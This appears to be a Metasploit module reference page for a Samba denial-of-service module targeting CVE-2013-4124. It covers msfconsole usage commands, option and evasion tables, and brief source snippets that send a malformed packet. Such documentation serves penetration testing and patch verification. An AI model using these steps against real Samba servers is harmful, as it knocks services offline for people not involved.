Samba read_nttrans_ea_list Integer Overflow - Metasploit


This page contains detailed information about how to use the auxiliary/dos/samba/read_nttrans_ea_list metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Samba read_nttrans_ea_list Integer Overflow
Module: auxiliary/dos/samba/read_nttrans_ea_list
Source code: modules/auxiliary/dos/samba/read_nttrans_ea_list.rb
Disclosure date: -
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2013-4124

Integer overflow in the read_nttrans_ea_list function in nttrans.c in smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before 4.0.8 allows remote attackers to cause a denial of service (memory consumption) via a malformed packet. Important Note: in order to work, the "ea support" option on the target share must be enabled.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/samba/read_nttrans_ea_list
msf auxiliary(read_nttrans_ea_list) > show targets
    ... a list of targets ...
msf auxiliary(read_nttrans_ea_list) > set TARGET target-id
msf auxiliary(read_nttrans_ea_list) > show options
    ... show and set options ...
msf auxiliary(read_nttrans_ea_list) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the dos/samba/read_nttrans_ea_list auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/samba/read_nttrans_ea_list

msf6 auxiliary(dos/samba/read_nttrans_ea_list) > show info

       Name: Samba read_nttrans_ea_list Integer Overflow
     Module: auxiliary/dos/samba/read_nttrans_ea_list
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Jeremy Allison
  dz_lnly

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  MsgLen     1500             yes       How soon a memory get exhausted depends on the length of that attribute
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      445              yes       The SMB service port (TCP)
  SMBDomain  .                no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBShare                    yes       Target share
  SMBUser                     no        The username to authenticate as
  Tries      40               yes       Number of DOS tries

Description:
  Integer overflow in the read_nttrans_ea_list function in nttrans.c 
  in smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x 
  before 4.0.8 allows remote attackers to cause a denial of service 
  (memory consumption) via a malformed packet. Important Note: in 
  order to work, the "ea support" option on the target share must be 
  enabled.

References:
  OSVDB (95969)
  http://www.securityfocus.com/bid/61597
  https://www.exploit-db.com/exploits/27778
  https://nvd.nist.gov/vuln/detail/CVE-2013-4124

Module Options

This is a complete list of options available in the dos/samba/read_nttrans_ea_list auxiliary module:

msf6 auxiliary(dos/samba/read_nttrans_ea_list) > show options

Module options (auxiliary/dos/samba/read_nttrans_ea_list):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   MsgLen     1500             yes       How soon a memory get exhausted depends on the length of that attribute
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      445              yes       The SMB service port (TCP)
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBShare                    yes       Target share
   SMBUser                     no        The username to authenticate as
   Tries      40               yes       Number of DOS tries

Advanced Options

Here is a complete list of advanced options supported by the dos/samba/read_nttrans_ea_list auxiliary module:

msf6 auxiliary(dos/samba/read_nttrans_ea_list) > show advanced

Module advanced options (auxiliary/dos/samba/read_nttrans_ea_list):

   Name                    Current Setting    Required  Description
   ----                    ---------------    --------  -----------
   CHOST                                      no        The local client address
   CPORT                                      no        The local client port
   ConnectTimeout          10                 yes       Maximum number of seconds to establish a TCP connection
   DCERPC::ReadTimeout     10                 yes       The number of seconds to wait for DCERPC responses
   NTLM::SendLM            true               yes       Always send the LANMAN response (except when NTLMv2_session is specified)
   NTLM::SendNTLM          true               yes       Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
   NTLM::SendSPN           true               yes       Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
   NTLM::UseLMKey          false              yes       Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
   NTLM::UseNTLM2_session  true               yes       Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
   NTLM::UseNTLMv2         true               yes       Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
   Proxies                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   SMB::AlwaysEncrypt      true               yes       Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
   SMB::ChunkSize          500                yes       The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
   SMB::Native_LM          Windows 2000 5.0   yes       The Native LM to send during authentication
   SMB::Native_OS          Windows 2000 2195  yes       The Native OS to send during authentication
   SMB::VerifySignature    false              yes       Enforces client-side verification of server response signatures
   SMBDirect               true               no        The target port is a raw SMB service (not NetBIOS)
   SMBName                 *SMBSERVER         yes       The NetBIOS hostname (required for port 139 connections)
   SSL                     false              no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                  no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER               no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto               yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false              no        Enable detailed status messages
   WORKSPACE                                  no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/samba/read_nttrans_ea_list module can do:

msf6 auxiliary(dos/samba/read_nttrans_ea_list) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/samba/read_nttrans_ea_list auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/samba/read_nttrans_ea_list) > show evasion

Module evasion options:

   Name                             Current Setting  Required  Description
   ----                             ---------------  --------  -----------
   DCERPC::fake_bind_multi          true             no        Use multi-context bind calls
   DCERPC::fake_bind_multi_append   0                no        Set the number of UUIDs to append the target
   DCERPC::fake_bind_multi_prepend  0                no        Set the number of UUIDs to prepend before the target
   DCERPC::max_frag_size            4096             yes       Set the DCERPC packet fragmentation size
   DCERPC::smb_pipeio               rw               no        Use a different delivery method for accessing named pipes (Accepted: rw, trans)
   SMB::obscure_trans_pipe_level    0                yes       Obscure PIPE string in TransNamedPipe (level 0-3)
   SMB::pad_data_level              0                yes       Place extra padding between headers and data (level 0-3)
   SMB::pad_file_level              0                yes       Obscure path names used in open/create (level 0-3)
   SMB::pipe_evasion                false            yes       Enable segmented read/writes for SMB Pipes
   SMB::pipe_read_max_size          1024             yes       Maximum buffer size for pipe reads
   SMB::pipe_read_min_size          1                yes       Minimum buffer size for pipe reads
   SMB::pipe_write_max_size         1024             yes       Maximum buffer size for pipe writes
   SMB::pipe_write_min_size         1                yes       Minimum buffer size for pipe writes
   TCP::max_send_size               0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay                  0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Server Answered, DoS unsuccessful

Here is a relevant code snippet related to the "Server Answered, DoS unsuccessful" error message:

109:	      print_status('Sending malicious package...')
110:	      send_pkt
111:	
112:	      begin
113:	        self.simple.client.create("")
114:	        print_error('Server Answered, DoS unsuccessful')
115:	      rescue Timeout::Error
116:	        print_good('Server timed out, this is expected')
117:	        return
118:	      rescue Rex::Proto::SMB::Exceptions::InvalidType
119:	        print_error('Server Answered, DoS unsuccessful')

Server Answered, DoS unsuccessful

Here is a relevant code snippet related to the "Server Answered, DoS unsuccessful" error message:

114:	        print_error('Server Answered, DoS unsuccessful')
115:	      rescue Timeout::Error
116:	        print_good('Server timed out, this is expected')
117:	        return
118:	      rescue Rex::Proto::SMB::Exceptions::InvalidType
119:	        print_error('Server Answered, DoS unsuccessful')
120:	      end
121:	      disconnect()
122:	    end
123:	  end
124:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • Jeremy Allison
  • dz_lnly

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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